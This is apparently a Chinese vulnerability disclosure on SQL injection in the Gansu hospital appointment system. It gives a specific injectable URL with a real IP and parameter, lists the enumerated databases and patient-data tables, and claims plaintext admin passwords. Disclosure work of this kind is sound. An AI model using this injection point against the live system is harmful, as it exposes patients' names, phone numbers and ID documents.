甘肃省医院预约挂号系统SQL注入致50万患者个人信息泄露下载

Read the title out loud.

注入点遍地都是，且举一例：

http://202.100.81.123/arweb/table.jsp?hospital=lshzyy

扫描后可得如下数据库：

ARMS,CTXSYS,DBSNMP,DMSYS,EXFSYS,MDSYS,OLAPSYS,ORDSYS,OUTLN,SCOTT,SYS,SYSMAN,SYSTEM,TSMSYS,WMSYS,XDB

在目标数据库ARMS中，又可得50张表：

+----------------------------+

| ADVICE_MESSAGE |

| ADVICE_MESSAGE_EX |

| ANDROID_PWD_RESET_LOG |

| ANDROID_SUGGEST_FEEDBACK |

| GSWW_LOG_INTERFACE |

| GSWW_LOG_LOGIN |

| GSWW_LOG_OPERATE |

| GSWW_SYS_AREA |

| GSWW_SYS_BULLETIN |

| GSWW_SYS_FILE |

| GSWW_SYS_IMPOWER |

| GSWW_SYS_MENU |

| GSWW_SYS_OPERATE |

| GSWW_SYS_PARAM |

| GSWW_SYS_ROLE |

| GSWW_SYS_USER |

| GSWW_SYS_USER_USAGE |

| ICITY_ORDER |

| MIS_BREAK |

| MIS_DAY |

| MIS_DOC_ATTENTION |

| MIS_HOSPITAL |

| MIS_HOSPITAL_BLANKLIST |

| MIS_HOSPITAL_CONFIG |

| MIS_HOSPITAL_DEPT |

| MIS_HOSPITAL_DOCTOR |

| MIS_HOSPITAL_FEE |

| MIS_HOSPITAL_MAJOR |

| MIS_HOSPITAL_NOTICE |

| MIS_INSERT |

| MIS_ORDER |

| MIS_ORDER_APPRAISE |

| MIS_ORDER_COMFIG |

| MIS_ORDER_CONFIRM |

| MIS_ORDER_SORT |

| MIS_ORDER_STOP |

| MIS_PATIENT |

| MIS_PATIENT_MV_CARD |

| MIS_PATIENT_RELATION |

| MIS_PROBLEM |

| MIS_QUEUE |

| MIS_SPEC_DEPT |

| MIS_SYS_BLANKLIST |

| SHORT_MESSAGE |

| SHORT_MESSAGE_BACKUP |

| SHORT_MESSAGE_CONFIG |

| SYS_LOGIN_LOG_ICITY |

| VIEW_ORDER_ARWEB_MULTI |

| VIEW_ORDER_LIST_FORM_MULTI |

| VIEW_ORDER_LIST_MULTI |

+----------------------------+

 

注册人数达50万，个人信息包括 姓名、电话、证件等，密码已加密。

需指出，经检测，网站后台帐户密码皆为明码（另外，怀疑存在默认弱口令），嗯，宁可让自己暴露于危险，也要保护群众！

WYSIWIG——What you see is what I've got!

修复方案：

甘肃万维信息技术有限责任公司，你要对你的客户负责哦。